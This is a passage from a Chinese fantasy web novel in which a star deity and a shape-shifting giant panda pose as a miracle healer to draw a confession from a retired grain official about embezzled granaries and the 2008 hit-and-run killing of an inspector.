陈芳锋回答:“没有人在做过一次恶之后,可以收手不干,他一定会做更多,露出的破绽也越多,总能等到清算的时候。虽然说迟到的正义不是正义,不会,总比永远不来要强。我查出来,可以为自己提个醒,免得有一天,我错把歹人当好人。” 错把歹人当好人,如果一辈子都不知道这事倒也罢了。 要是哪天不小心漏了风,让自己知道,那真的是要被气死。 “如果是这样的话,也许我可以帮你。”李寅寅说。 她甚至都没有问陈芳锋调查到了什么,不过就算她问,陈芳锋也不会全部告诉她,谁知道这个天上掉下来干儿子的女朋友背景到底是什么呢? 档案记得再全,也不会记一个人跟谁吃过饭,跟谁结交过,以及朋友的朋友又是谁。 三人都心照不宣地没有再说陈佳源的死亡疑云,转而说起她平素的为人。 “妈妈特别热心,04年05年的时候,她拉货去西藏,路上经过很长一片无人区,她遇上谁的车抛锚了、上冻了,都会想尽办法帮忙。 就连牧民的忙她都帮,也不知道她送了多少人去过医院,误了的时间再自己加班赶回来。 她说进藏的路上要是不帮别人,以后自己出了事,也别想别人帮你。后来,还真的出了一次大事,有一只羊自己忽然钻到她的车轮下面,被压死了,羊主人说那是一只母羊,能生很多小羊,张口就要她赔十万,否则就不让她走。 幸好她曾经救过那个人的爸爸,老头来了以后,就给了羊主人一个耳光,还把死羊煮了一锅汤,送给她路上吃。 不然那回还不知道怎么办呢,听说那个人都掏刀子了……” 在陈芳锋的讲述中,陈佳源的性格、生平、渐渐清晰。 陈佳源有一种在二十一世纪罕有的侠气,那种不计报酬,对陌生人也一片热忱。 如果不是这样,她也不会把自己的所有零用钱都捐给熊猫,刚成年就收养女婴。 这搁哪个年代都会被人说是傻子,就算是号召向雷锋同志学习的热潮中也不例外。 很难说是不是小时候看多了武侠片和抗日剧,再加上没有因为热心肠而真的吃什么亏,所以,她才能将这样的性格从小保持到死。 其实,就连她的养女陈芳锋也不是特别理解,她想要查明真相,是因为陈佳源是她的养母,对她特别好。 如果是陌生人,她未必有这种愿意与强大反派对决的勇气。 毕竟在她三观形成的千禧年,商品大潮冲击了整个社会,所谓“人不为己天诛地灭”,近年更是谁不求名利的干点好事,就会被人在背后蛐蛐:不知道是心虚想祈福,还是利用做好事刷知名度。 “我的老同事里有像我妈妈这样的人,我很尊敬他,一个悬案大家都觉得没有希望了,他一直记得,时常翻查新的消息,有时候还会自费去嫌疑人可能出现的地方,前几天听说,他伪装成送水工,把那个潜逃了二十多年的人给抓到了。”陈芳锋感叹,“我很佩服他。” 李寅寅说:“你佩服他,而不是觉得他傻,已经超过大部分人了。这事要是放在网上,肯定有人说他只是自己一直没破案,觉得没面子,才会成了执念。” “哈哈,我哪有这么好,我也希望能像妈妈一样找到一个信念,不过,看到有些同事的行为……有时我也想知道我一个人努力有什么用。” 李寅寅安慰她:“也不能这么说,地藏王说地狱不空誓不成佛,他努力这么久都没成佛呢,你才哪到哪。等你也能坚持信念,说不定你抢先一步成佛了。” 陈芳锋被她说得笑起来:“你真会安慰人。” “哎,我不是安慰,是说的实话,中国那么多凡人成神,不就是他们坚持自己本心信念,并且贯彻到底嘛。” 李寅寅顺便又向她介绍了一下胖熊猫,说他是曾经得到过陈佳源帮助过的人,他一直在找陈佳源,如今陈佳源过世了,问陈芳锋愿不愿意见见他。 陈芳锋答应了。 “呜呜呜……她才多大,怎么就没了!呜呜呜!”胖熊猫蹲在陈佳源的墓前,哭得像个两百多斤的孩子。 时间在他这里几乎等于不存在,对胖熊猫来说,陈佳源,就是一个小学一年级的女孩子,他还专门去查了那个年纪的女孩子喜欢什么。 他买了艾尔莎女王的小裙子、亮亮的小皮鞋、五款会发光会变形的仙女棒,二十多种头花、小首饰、全套扮家家酒的工具…… 满满两大箱。 他看着墓碑上那张照片,里面是一个成熟的女子冲着他笑。 胖熊猫坐在两大箱礼物上,淌眼抹泪,悲伤万分: “我这……哎,你看……我这糊里糊涂的,连年龄都弄错了,什么都没有带……” 对于这位陌生的胖叔叔,陈芳锋也不知道说什么好,只礼节性的劝了几句。 胖熊猫学习的人类礼仪告诉他,对于成年人直接给红包就好,不巧,他没有钱,也没有古董,想来陈芳锋对竹笋、竹子和竹鼠也没有什么需求…… 他快愁死了,没等他想出有什么东西好送给陈芳锋,陈芳锋的手机就响了,她经办的一个案子有了新线索,她得回去继续工作了。 等她走后,胖熊猫抬头问李寅寅:“她好像心情很差,是不是因为我送的东西太蠢了?” “不,跟你没关系。”李寅寅把陈佳源的事情告诉胖熊猫。 胖熊猫听得双眼喷火,远古食铁兽的血脉觉悟,他握着拳头,咬牙切齿:“无法无天!你肯定知道是谁干的对不对!告诉我他家地址,今天晚上我就去咬死他!我就不信,还有谁敢把我击毙!!!” 李寅寅眉毛微动,看来这个胖熊猫没有她想的那么傻,他不仅知道自己是国宝的身份,还知道怎么利用。 她断然拒绝了胖熊猫的要求:“不行。” “怎么不行?!未成年的人杀人放火都能免罪,我族的数量,比人少多了!凭什么不行!”胖熊猫理直气壮。 李寅寅摇头:“不是你会不会被判的问题,是这样做毫无意义。” “怎么没意义了!”胖熊猫不服气。 李寅寅耐心说:“你想,这个人凭白无故被咬死,身上是熊猫的牙印,莫名其妙的,最后查一圈,得出个结论‘我市生态环境特别好,野生熊猫晚上出来,与XXX相遇,并攻击致其死亡’,这人干过的坏事呢,没人知道,最后家属还能得到一笔不少的抚恤金,对他家人的前途也没有任何影响。 你不觉得,起码得让他儿子女儿失去考公资格吗?不然还能看着他家越过越好,节节高,最后说不定能达到《人民的名义》里最终大反派的位置。你的恩人的女儿就当一个小警察,慢慢熬资历,最后退休了,也就是一个科级?” 胖熊猫没有看过《人民的名义》,也不知道科处局厅的区别,只是看着李寅寅的神色和表情,觉得应该是差距非常大的意思。 “那你说怎么办?”胖熊猫有些沮丧。 李寅寅摸摸下巴:“稍微查查,有赃抓赃,没赃栽赃。” 她说得过于正直,最后那四个字让胖熊猫一时没有反应过来。 说是栽赃,李寅寅也不想真的随便抓一个活的凑数,主要也是免得凑完数以后,真凶突然冒出来了,那岂不尴尬。 事情过去十几年了,时光抹去了很多痕迹。 但总有只字片语留下,何况当时的人还没有死绝。 当时负责西乡粮仓的主管游敬济,现在已经退休,当年他是一个精于算计,处处争先,只求眼前利益,从不想什么天理循环报应不爽的事,在有人劝他收敛些,别老了招惹一身麻烦,他骄傲放话“我活到六十岁就自杀!” 如今,他已经七十多岁了,每天早上一睁眼,就有二十多种保键品等着下肚。 可惜,就算有人参燕窝辅酶Q10,还有那堆印着花花绿绿洋文的胶囊药片培着,他的身体状况还是节节衰败,情况大不如前。 虽无大病,但是各种小病小灾总是不断,前几天摔了一跤,硬是没爬起来,送去医院一看,骨盆骨折,只能住院。 那句六十岁就自杀的豪言壮语早被抛到九霄云外。 他在住院的时候,顺便做了一下全身检查,结果让他如遭雷劈:前列腺有毛病、三高、心脏不太好这些都是老毛病了,最关键的是还有一个早早期的肺癌。 医生建议开刀。 游敬济打死也不同意,他不知道从哪里听说的:人不能开刀,把身子切开,就是漏了先天混元气,那股气一泄,本来能活一百岁的人,也得折寿二十年。 他满世界找“仙药神方”,听说哪位癌症专科医生的本事大,就托关系找。 从这些大神们的嘴里,游敬济没有听到想要的答案,他决定求助于——玄学! 他看了许多“某癌症晚期病人,遇到高人指点,跟着练了什么什么功,癌症晚期不药而愈”的故事。 那些高人的形象,无不邋遢、凑合,仿佛就是为了考验主角的诚心。 李寅寅按着名单查人,很快就查到了游敬济头上,并且听说了游敬济正在满世界找神仙的事。 “呵,跛足道人、癞头和尚的人设真是发挥稳定啊,熊熊,来,你立功的机会到了!” 胖熊猫顶着乱蓬蓬的发髻,破破烂烂的衣衫,懒洋洋地躺在游敬济每天清早必定要去呼吸“日出清气”的公园石头上。 早上六点,游敬济坐在轮椅上,被保姆推过来,远远地就看到一个邋里邋遢的大胖子枕在树下的假山石上。 保姆皱了皱眉头,对游敬济说:“领导,我们换个地方吧?” “嗯。”游敬济也觉得胖熊猫看着很像“零元购”专业户,别一会儿扑过来抢他东西,他虽然身上没钱,但是被这胖子压一下也受不了。 保姆正要调转轮椅,胖熊猫忽然悠然唱道:“慌兮惚兮哟,大道自然任遨游,云雾茫茫无尽头,飘飘遥遥任逍逍,飘啊飘,游啊游,大道自然任逍遥~~~” 一边唱,一边站起来,蹒跚着向前走,他听了李寅寅的话,把“跛足道人”和“癞头和尚”的人设都加在自己身上了。 路过游敬济的轮椅时,他瞥了游敬济一眼,撇撇嘴,摇摇头,自顾自的哼唱道:“肺金不通生恶气,旧日枭雄亦低眉。邪降厄蛊得祸身,缠绵病榻再难起。” 其实胖熊猫离游敬济至少得有十几米的距离,但是他的声音既轻又清楚,却像在游敬济的耳边唱的。 虽然有些词他听不明白,但是“缠绵病榻再难起”这个字却听得真切。 此时此刻,那胖子唱的正应景。 再加上他刚才看着自己的眼神和表情,就好像看见一个病入膏肓,马上要断气的死人。 游敬济忽然叫道:“先生,请留步!!!” 胖子充耳不闻,飘然而去,游敬济马上让保姆追上去,没追几步,保姆被草地上的草棵绊倒了,再抬头,胖子已经去了好远。 游敬济只得做罢,让保姆推自己回去,他垂头丧气地盯着地上看,忽然发现,草地上竟然只有一双脚印。 这里的草是又软又绵的长草,就连小孩子刚刚跑过,也会留下一个个的痕迹。 可是,刚才体重只有一百斤的保姆去追那个胖得像球一样的胖子,地上却只有保姆的脚印,胖子就像是悬浮在草地上一样,什么痕迹都没有留下。 游敬济目瞪口呆,不过还没有十分的死心塌地相信胖熊猫就是神仙。 第二天,胖熊猫出现在晨练的老人队伍中,他走到意外摔倒的老人身边,不知道从哪里掏出一块药膏一贴,五分钟后,这老人就站起来了。 第三天,胖熊猫出现在得了白内障的老人身旁,对着他的眼睛一吹,老人原本已经近乎失明的右眼,居然能看到东西了! 第四天…… 如果说,轻功草上飞可能是武功。 连续出现的神迹,不由得游敬济不信。 当年追随张角的人在想什么,现在游敬济就在想什么。 只是胖大师仿佛行踪不定,游敬济天天去公园都堵不着他,最后下狠心,花钱雇人遍布公园各个角落,终于让他守着了。 游敬济见了胖熊猫,情真意切:“大师,我得了癌症,医生非得说让我开刀,我这把年纪了,怕是要死在手术台上,您帮我看看,能不能不开刀就给治?如果能把我治好!我愿意给大师五十万做为酬谢。” 胖熊猫也不搭脉,只是高深莫测地盯着他看,许久之后,轻轻摇了摇头:“你得罪了仓神……冤孽太重啊……” “仓神是谁?”游敬济从来没听说过。 胖熊猫捻着稀疏的胡子:“肺属金,金乃西方白虎之征。你这肺中,有一股五谷腐败的气味,白虎七宿中的觜火猴,掌人间收敛之事,想必,你曾开罪于他。” “啊?怎么可能!我一介凡人,哪能得罪神仙。” 胖熊猫“呵呵”冷笑:白虎七宿皆忠于职守,最恨有负职责之人,觜火猴脾气最为暴躁,若是你得罪的是其他星宿,也就罢了,偏偏得罪的是他……唉……” 游敬济心中顿时想到自己没退休的时候干的那些事……说实在的,还不少,他也不知道这位掌管收敛的大神是来找他算总账,还是某件事干得特别出格,把大神给激怒了。 他也没想好要不要告诉这个胖子。 在他犹豫的时候,胖熊猫依照李寅寅的吩咐,又飘然远去了。 跑出老远,胖熊猫挺得意:装完逼就跑真刺激。 忽然,有个人迎面向他走来,胖熊猫还没来得及反应,那人便一拳打在他脸上:“妈的,让你拿老子的名头招摇撞骗。” 胖熊猫抹了抹鼻子流出来的血,抬头看着那人,只见此人肩头上坐着一只灵气所凝成的小猴子,那只猴子正对着他龇牙咧嘴,做出恐吓的表情。 那人一把拎起胖熊猫的领口,又要打。 “住手。”李寅寅出声阻拦,胖熊猫看见她,委屈伤心之下,化身成原形,连扑带抱地抱住李寅寅的腿:“他打我,他敢打我!我要告到中央!!!” 第85章 熊猫神医 “这么多人!你变回去!” 李寅寅试图把胖熊猫从自己腿上推开,刚推开左爪子,又抱上右爪子,根本走不动路。 “哪有人!”胖熊猫哭哭唧唧,就像一个腿部挂件,甩都甩不掉。 幸好现在确实很早,老头儿老太太们的早锻炼集散地又在湖的那一边,不然光是解释这只熊猫是怎么出来的,就很麻烦。 李寅寅没办法,只得张开结界,让外人看不到这里。 “乖啦,松开手,你是大熊猫了,又不是小熊猫,撒娇也不怕被笑话。”李寅寅耐心劝说。 胖熊猫还是抱着李寅寅的腿不放:“我一直都是大熊猫,出生就是大熊猫,我是国一!小熊猫是国二!哼!” 它还转头瞪着坐在那人肩头的猴子:“哼,你这个峨眉山的猴子,区区国二,敢打我!就算金丝猴来,我也不怕!我有粉丝团!我叫他们把你打得扁扁的!让他们网暴你!” “你要是再不放开我的腿,我就要紧急避险了!”被成年熊猫抱着腿,实在是字面意义上的“举步维艰”,最讨厌被束缚的李寅寅不耐烦,打开关于吃熊猫是否违法的那个视频,放给胖熊猫看。 一个穿西装戴眼镜的短发男子坐在桌前比划着手势:“……快饿死了,能不能吃熊猫?当然能吃熊猫!见熊猫吃熊猫,见老虎吃老虎……” 胖熊猫看了看李寅寅,以及那只蹲在李寅寅身后的虎,那只大白虎冲着它龇牙,显然对于它抱着李寅寅的腿不松手很不满。 胖熊猫悻悻松开手,叉着腿坐在地上,一副不服气的样子。 李寅寅把自己刚刚随手捡的一根又长又直的树枝递给它玩,转头办正经事。 那人整衣下拜,连着他肩上的小猴子也趴在地上,向李寅寅行礼: “觜火猴拜见星君。” “好久不见了,你跟以前不太一样了。”李寅寅笑道。 以前,觜火猴跟毕月乌是白虎七宿中性格最火爆的两人,毕月乌是先锋,觜火猴是运粮官。 朝中拖欠军饷、敌人偷袭运粮车的事情时有发生,觜火猴当年干过提着刀子杀进户部尚书家,要他拨款,也曾暴打在众将士都吃不饱的时候要点菜的监军,至于为了抢回粮车,把敌方二路元帅的军营炸飞之类的事情更是不胜枚举。 什么后果、危险、战略布局之类的那是想都不会想的。 “是啊,自从做了西羌族的族长之后,有很多事情要考虑,行事便不能像以前那样冲动了。” 胖熊猫含恨带怨地看了他一眼:“上来就打了我一拳,这还不叫冲动?” 李寅寅安慰道:“他确实比以前懂事很多,如果是以前,你现在已经成死熊猫了。” 胖熊猫缩了缩脖子。 与其他人不同,觜火猴是李寅寅在大清没亡的时候就留在这里的,那时法国传教士已经在云南活动非常频繁,很多地方的云南人都信了洪秀全他哥,云南倒也罢了,四川是产粮重地,李寅寅总觉得法国人迟早要对大米下手,便让对粮食最在意的觜火猴留在四川,盯着粮仓。 李寅寅留下的指令是:如果外国人要抢粮田,你就把他们全杀了。别用法力,用火器。 觜火猴趁着那时土匪土司之类的打成一团,他顺利混进西羌部落,成为人人敬仰的领袖,然后为自己安排了“儿子传孙子,孙子传曾孙子”的路线,族人不疑有他,只觉得那么强势的人,果然基因也够强势,一代一代生的孩子,“都跟他爷爷(他太爷爷)年轻时一模一样。” 法国人没来抢粮,觜火猴以为平安无事了,只等李寅寅再来,他就可以交差回天庭,没想到等了一百年,没等着李寅寅,等到了日本鬼子进村。 他为了揍法国人而训练出的铁血战士,都跟着军队出川去打鬼子了。 终于等到天下太平,觜火猴的头衔也从寨主、土司,变成了某羌族自治州粮食局的局长,管他最喜欢的粮食。 如今他的形象是一个五十多岁,国字脸,眉毛天生倒竖,眼角也微微吊起,凶巴巴的形象。 也难怪胖熊猫被他吓坏了。 觜火猴的那只猴,虽是灵气所化,但已经有了自己的意识,已经连续多年蝉联峨眉山猴王宝座。 李寅寅直接问:“2008西乡粮仓的事你知道吗?” 觜火猴恭敬回道:“西乡不在我的管辖范围之内,不过,有些事也略有耳闻,还有一些事情,我只知道结果。” 西乡距离羌族自治州不算远,在2008年地震的时候,他们非常积极的捐粮食,一车一车的往几大重灾区送。 “米都是陈米,数量也不足,不过,这些事情当时被压下去了,之后,也再也没有人提起。” 那些米都上哪里去了,新闻在三年之后报道:“某市多处出现印有‘救灾专用’字样的物资……” 救灾物资被挪用的事情,自古代有赈灾这么一回事开始,就屡禁不止,用得上的就拿回家自己用,用不上的就转手卖掉。 曾经有一回朝中又拿各种理由搪塞,说江南水灾,灾民遍地,军粮发不出来,让李寅寅自己想想办法。 觜火猴去朝中催讨,却发现京中粮商直接去户部大库,一车一车的运粮食,根本不像缺粮的样子,他上去问,那马夫脑子不大灵光,有人敢问,他就敢回答:“这是给太师家送的。” 觜火猴当时得到了李寅寅的命令:不准随便杀人,尽量按流程办事。 他便向御史台递书,御史台态度积极热情:感谢提供线索,我们会查的。 庚子年二月一日上的书,他六月去问,还在查,十二月去问,依旧在查。 直到四年后的甲辰年,觜火猴战死,御史台众官大大松了一口气:那个总是来问东问西的烦人玩意儿终于再也不会来了。 有的是理由,有的是借口,拖着就行,根本不需要杀人放火,杀人是最下乘的手段。 能用嘴解决的问题,为什么要用血。 粮食亏空一向也是大问题,不然“火龙烧仓”不会常见常新。 李寅寅猜测陈佳源去粮仓的时候,是不是看到什么不该看的了,比如……在账本上满满当当,打开门却什么都没有的仓库。 虽然看起来很合理,不过一切都只是猜测。 就像侦探故事,如果在进度条没过半的时候就信誓旦旦指认某人为凶手,那这个人一定不是凶手,条理再清晰,理由再充分,也不行。 “看来,还得从游敬济这里打开突破口。”李寅寅忽然望向觜火猴:“你能坐得这么稳当,就没人给你送点孝敬,拉你入伙,共享富贵?” 觜火猴笑着摇摇头:“确实有人送,但是我奉星君之命留守在此,不敢渎职分毫,否则,我早该升了,哪里会还在这里继续当正处级局长。” “他们能容你?”李寅寅对此很怀疑,不能拉拢的人,会被排挤在圈子之外。 觜火猴解释道:“他们学着厦门盖了红楼,经常去那里‘谈事情’,我就推说要去野外看星星,刚开始他们以为我说的看星星是跟女人在野外那个……什么,就安排了两个给我,我就晾着她们,真的看了一夜的星星,不是原则问题,就算了……他们当我是个没本事又没花钱爱好的人,虽然不是核心圈子,不过我要办事的时候,他们也得给我留点面子,不会添堵。” 李寅寅意味深长的发出一声“哦”,似笑非笑:“这可不像你啊。” “是啊,如果是以前,我就把他们全杀了……”觜火猴笑着笑着,长长叹了一口气:“这么多年,见得多了,哪里能杀得完呢……还是湖南人厉害。” 他说的是2013年的衡阳破坏选举案,一拨带走了512个代表,431个涉案人员被立案,当时企鹅软件都弹出特别新闻弹窗提示,成为一时传奇。 世事变幻,能把觜火猴这么暴的性子都给磨平了,靠仰望星空来让别人放弃腐蚀他。 “你跟游敬济能说得上话吗?”李寅寅问道。 觜火猴回答:“可以的,我们以前有一些业务往来,他也知道我现在调到市里,有时候在这个公园见面了,互相打个招呼。不过直接从他嘴里挖消息,只怕他是不会对我说的。” 虽说对于已经退休的老干部都会从轻,不过,万一涉的事太大……比如,真的是游敬济安排那个司机撞死了陈佳源,那打死他都不会说的。 李寅寅点点头:“我明白,不用你去套他的话,我这边已经铺垫好几天了,现在还缺点火候,就靠你了。” 今天胖熊猫没搭理游敬济,就是因为时机还不够成熟。 装逼躺在石头上唱歌,只是让他注意,谁会跟一个脏得要命的人攀谈。 给公园里的老头老太看病,只是让他知道胖熊猫的人设,是可以治病的,但这还不够,毕竟那些装神弄鬼,骗老头老太太退休金的江湖骗子也是这么干的。 他未必会像虔诚的信徒那样,在告解室里什么都往外说。 特别是这事很大,“修女与鱼”最多是个变态佬提供的乐子,哈哈一笑就拉倒,这事掀出来,影响的不止他一个人。 但如果胖熊猫已经成为他那个层级圈子里的座上宾,性质就不一样了,男人对着自以为没有威胁的人,什么都敢说,不然也不会有那么多跟狱友聊天的时候说自己杀过人,然后被绳之以法的杀人犯了。 退休老干部有自己的社交圈子,觜火猴帮胖熊猫先认识了一个肺癌中晚期的老干部,他自十六岁开始抽烟,抽得最凶的时候一天两包,虽说也这么活到了八十岁,算是生命的奇迹,但是,没有人会嫌奇迹展示时间太久的,他还想活到一百二十岁。 这么大年纪,还有其他基础病,他倒是想做手术益寿延年,但是医生都不同意,建议保守治疗。 每天吃一堆药,也是人参燕窝灵芝的养着。 养着也没什么用,只是稍稍减缓了癌症进化和转移的速度。 李寅寅找到黑无常,偷瞄了那个老头的命定死期:八十五岁。 还有五年。 胖熊猫不能变他生死簿上的死亡年龄,但是~他可以换个死法嘛。 从八十五岁肺癌导致全身器官衰竭而死,变成八十五岁打麻将摸了清一色,狂笑导致脑溢血而死,也差不多。 反正让人按时按点下去了,再加上有李寅寅的面子在,阎王爷也不会太挑理。 “真的!治好了!全身都检查了,肿块全没了!”拿到检查结果后的老头满面红光。 医生在他癌症确诊时就说了,是中晚期的恶性肿瘤,那边缘不清晰,还长在大血管上,手术风险极大。 他自己也知道,自己抽烟抽得有多凶,老了以后抽的是处理过的好烟倒也罢了,年轻的时候哪有这条件,抽的都是劲很大的劣制烟。 他就在“完了完了,我死定了”的绝望和“有没有神医偏方仙药能救救我啊”的侥幸之间来回跳动。 他的子女也积极为他到处找治疗的办法,亲情是一方面,老头一个月三万多的退休金,顶上刚毕业的孙女半年工资了。 所以,胖熊猫这个毫无行医资质、看起来也很不像神医的死胖子被觜火猴一推荐,老头全家都把胖熊猫当贵客迎进门,同时也保证不会当医闹,您看着治,态度别提有多好了。 胖熊猫装模作样的努力了七天,又是发功,又是给药丸,老头身上的肿块就没了。 原先单位里的人都知道他命不久矣,甚至都已经在计划治丧委员会的人选和具体规格了。 居然就这么好了?! 一时间,很多人找胖熊猫看病。 有些人,胖熊猫二话不说就开治。 有些人,胖熊猫或是说他恶孽缠身治不了,或是说这个人得自己把自己做过的亏心事讲出来才能治。 胖熊猫也如同传说中很有职业道德的神父和心理医生那样,真的没有把任何人告诉他的隐私说出来。 一开始,甚至都没有人知道,治病之前,还有一个要忏悔的过程。 直到一个七十多岁的男人,承认自己经常在楼下亮着粉红灯光的发廊里“放松”,并且把脏病传染给了老婆,还把责任推到单位组织老干部旅游住的酒店马桶圈上,老太太以前看过类似的报道,便信了。 他正说着,正好老太太端着洗好的水果过来,听了个清清楚楚。 老太太一生刚直,宁折不弯,气得当即就要跟老头离婚。 他俩的儿女赶来劝,老太太死活要离,早上十点听到老头出过轨的故事,十点半就已经叫来了离婚律师。 一时间鸡飞狗跳, 十一点,前后三栋楼都知道了。 下午一点,整个小区都知道了。 下午五点,整个单位都知道了。 晚上八点,兄弟单位也知道了。 这场闹剧最后以老太太为了儿女的面子,揭过此事,再不提离婚。 找胖神医治病,要先告解忏悔这件事,才传了出去。 像这种下楼打个酱油就能抓紧时间嫖一发的事情,在众多忏悔故事里根本就不算什么,还有在海外种违禁植物,专门招待自己和圈子里的人抽的、利用各种工程搞钱的、与大械斗相关的…… 要不是病得马上就要死了,这些人在死亡和活着坐牢之间选择了求生,他们可能这辈子都不会说。 他们说的事情,胖熊猫一丝风都没漏出去,这让他们感到胖熊猫非常靠谱。 并且,他们积极向跟自己关系好的人大力推荐胖熊猫。 嘴这么严的真·神医,上哪儿找! 游敬济听了那么多个不同人的推荐,心里更是急切地不行。 跟那么多手上沾着大事的人比,他算什么,只要胖熊猫能治好他的病,他什么都愿意说。 终于,游敬济见到了了他梦寐以求的胖神医。 没等胖熊猫开始走流程,游敬济就自己全招了:“规矩我懂,我已经全准备好了!” “我插队的时候,偷看过女知青洗澡。回城之前,我已经跟村里一个女农民发生关系,她怀孕了,我跟她说等我回城以后会接她进城,但是户口申请不下来,我也就再也没联系过她……” 游敬济把自己干过的众多缺德事全都抖了个干净,包括怎么把粮食拿出去高价卖给粮商,再低价买回陈粮。以及怎么从种子化肥销售公司拿回扣,再到普通回扣已经无法满足,他向供销社和农资推荐了先天不足的所谓新品种子,以及有毒成份残留极高的农药。 他运气很好,卖垃圾种子的那一年,天气不好,极旱,用好种子播种的田也几乎绝收,他不仅没有被处罚,反而还因为在地头上的表演情绪到位,获得了当地农民的一致好评。 最后就这么一层一层的上来了,并且平安落地,顺利退休。 等了几秒,见游敬济不说话,胖熊猫吐出两个字:“没了?” “啊……没啦……”游敬济眨巴着眼睛,完全不知道自己哪里还有错。 胖熊猫冷冷地站起身:“治不了,告辞。” 眼见着胖熊猫已经走到了门口,游敬济急忙叫住他:“我我我……我哎,那就是一点小事嘛……而且,又不是我叫他去干的……” 胖熊猫伸手去拉门。 游敬济大叫:“我说我说!!!” “……2008年春天的时候……”游敬济结结巴巴地说起胖熊猫最想知道的事情。 那是他再一次倒卖了粮食,在他管辖范围里的四十多个粮仓,有三十个是空的。 他一点都不懂,只等到新粮上来,总有办法把账做平。 不巧的是,5月12日,地震了。 上头放了豪言壮语要驰援灾区,陈佳源连一分钟都没耽搁,拿了手续就亲自赶到粮仓,想点一下粮食数量,好安排车队过来。 粮仓保安根本拦不住她,当她看到账面上满当当的粮仓,实际竟是空空如也的时候,游敬济赶到了,拿钱贿赂,拿关系说情,拿权压人,陈佳源就是不松口。 “那个女人实在是太固执了,工作哪能像她那么干啊,救民先救官!官都活不了,还救什么民?千千万万的灾民,谁去发给他们赈灾粮款?” 后面这句话,是《铁齿铜牙纪晓岚》里的台词,游敬济是真心认同这句话,看一遍就记住了。 他说完这一串,又抬头看了看胖熊猫的反应。 胖熊猫并没有指责他贪赃枉法,也没有骂他禽兽不如,而是盘腿坐在他面前,眯着眼睛盯着他的肺:“嗯,走了一道黑气,还有一团更黑的。” 好像他真的就是一个纯洁的医生,满心只想治病。 反正都已经说了这么多,也不差再多几句了,大不了就坐牢。 好死不如赖活着! 他都七十五了,又没有亲手杀人,连死刑都对他不适用。 说不定连判都不会判,最多取消他的退休待遇。 这对他来说,一点问题都没有,他的儿子儿媳孙女一家,早就已经带着他的钱移民澳大利亚,还在美国、加拿大、法国、瑞士都置办了房产,足够接他过去舒服的过一辈子。 游敬济把心一横,索性把自己犯的事都说了。 “那个叫陈佳源的女人,实在是太不听劝,还说要向巡视组举报,本来呢,我们是不怕的,但是那个时候,全世界的眼睛都盯着这,哪能让她闹出来,这影响多不好啊,咱们都讲究一个家丑不可外扬,她倒好,想满世界嚷嚷。 一个刚工作的小同志啊,他太着急了,就怕给咱们国家的形象抹黑嘛,把这事跟他的一个朋友说,他那个朋友,也是讲义气,就是想帮朋友出出气……嗯……把陈佳源的车给撞了,也没想着,她那么脆弱,就被撞死了。” 游敬济想了想,又补充道:“那个人也得到了应有的惩罚,坐了一年的牢呢。” 胖熊猫平静地听完,站起身,背着手,高深莫测地望着窗外:“难怪在你肺里的这团黑气,比我见过的所有人都要黑,原来是你还替别人背负了因果……唉……那个人只判了一年,这是有违天理的,天理循环报应不爽,杀人偿命,才是天理。你替他活命,他的罪,就转而由你负了……” 胖熊猫摇头叹息,他一声声的叹息,把游敬济的心都给叹凉了:“神医!大仙!您说我应该怎么办!求您给指条明路!” “我刚才已经说过了,再多说,就是泄露天机。”胖熊猫说完,坚定地拉开门,走出去,任凭游敬济在后面挽留,他也没有停下脚步。 游敬济把胖熊猫的话细细回想了一遍,想到“杀人偿命,才是天理”,他心里起了一个念头。 胖熊猫找到觜火猴在城郊的小院,李寅寅就住在那里,他化成原型,跳上院子里用轮胎做的秋千,气呼呼地荡来荡去:“我今天都快被他气死了,我都要憋得炸掉了!” 不堪重负的绳子断开,轮胎和胖熊猫一起摔进院子角落里的秸秆堆,发出轰隆一声巨响。 胖熊猫更生气了,双手各抓住一根秸秆,疯狂挥舞:“要是这次用手段弄不死他,我就把他咬死!坐死!把他坐成相片!让给他收尸的人只能把他铲起来!” “我支持你!要是他不露破绽,我和你一起咬死他!”李寅寅扬手扔过去一个大苹果,胖熊猫身手矫健地接住,把苹果当成游敬济的脑袋,对着就“咔嚓”一大口。 觜火猴从里间出来:“你在这生气,不如多求求我们星君,帮你加快推进。” 胖熊猫眨巴眨巴眼睛,一骨碌地爬起来,跑进屋里,拿起桌上的三枝筷子,像人类拜神那样,对着李寅寅拜了三拜。 “哎哟,熊猫烧香,好毒……”李寅寅笑道,“放心,游敬济肯定会被你毒死!死得透透的!” 第86章 除恶务尽 胖熊猫在小院里玩得很开心,没过一会儿,就在秸秆堆里睡着了,觜火猴把它抱进屋睡,它嫌弃的哼唧了几声,往床上一放,它翻了个身,抓抓屁股,又睡着了。 “想得开就是好,倒头就睡。”李寅寅感叹道。 她心里装着事的时候,除非事情完完全全的解决,否则,她会一直惦记着,一切个人生理需求都可以忽略。 苏灵衣找了块小被子给熊猫盖上肚子,熊猫翻个身,小被子掉在地上,苏灵衣再给他盖上。 几个来回,苏灵衣索性用绳子把小被子捆在熊猫肚子上。 “你折腾它干嘛。”李寅寅对苏灵衣的执着不是很理解。 苏灵衣满意地看着自己打的小绳结:“看它躺着,身上不盖点东西,不舒服。” “好吧,你过来看一下。”李寅寅指了指电脑上的四川地图,在雅安和成都打了点:“你看见过别人是怎么从建木上天的吗?” “见过,树干上开了一个洞,人和神都从那个洞进进出出。不过我没有走过,只有得到大功德的人才能进,普通人进去什么都看不到,我连树洞都进不去,就被弹开了。” 苏灵衣顿了顿:“你也没从那里下来过?” “没有,我之前都是走仙井,投胎下来,死后就自己回天庭了。就在天上看过一眼建木的样子,就记得很大。” 天庭的建木出入口说是在西南,但其实在另一个维度,不是李寅寅的管辖范围,要去一趟也挺麻烦的,她一直想着“反正离得近,有空去看看”,结果,就一直没去。 在苏灵衣的记忆里,建木的直径大概有四五百米,可以让那些身材异常庞大的天神随意进出。 “建木的树皮很松,一剥就掉,有很多功德不够的人和法力不够的妖看不见入口,以为像爬树那样爬上去就行,结果摔死了许多。”苏灵衣继续回忆着自己记忆里的东西。 “现在,我们初步猜测,建木能够让两个境界的人互相往来,不是因为它够高,而是它能进行空间转换,切换不同维度,也许人的功德和妖的法力就代表着入场券,什么样的人和妖能到什么境界,都早已决定。而神,是高维度生物,可以去所有他想去的地方。” 李寅寅信手在纸上画下一个个的入口:“颛顼斩建木,绝地天通,史书上说,是为了规范社会秩序和宗教信仰,避免神灵降世干预人间事务……简单来说,其实就是为了收拢权力,第一步,先把对宗教的解释权收在手里,第二步,就是把君权神授,转成君就是神,第三步,再反压神权一头,变成如今的神权君授……也许,颛顼已经得到了建木真正的核心秘密,知道是什么让它实现位面转换。” 李寅寅的这个猜测并非全无道理。 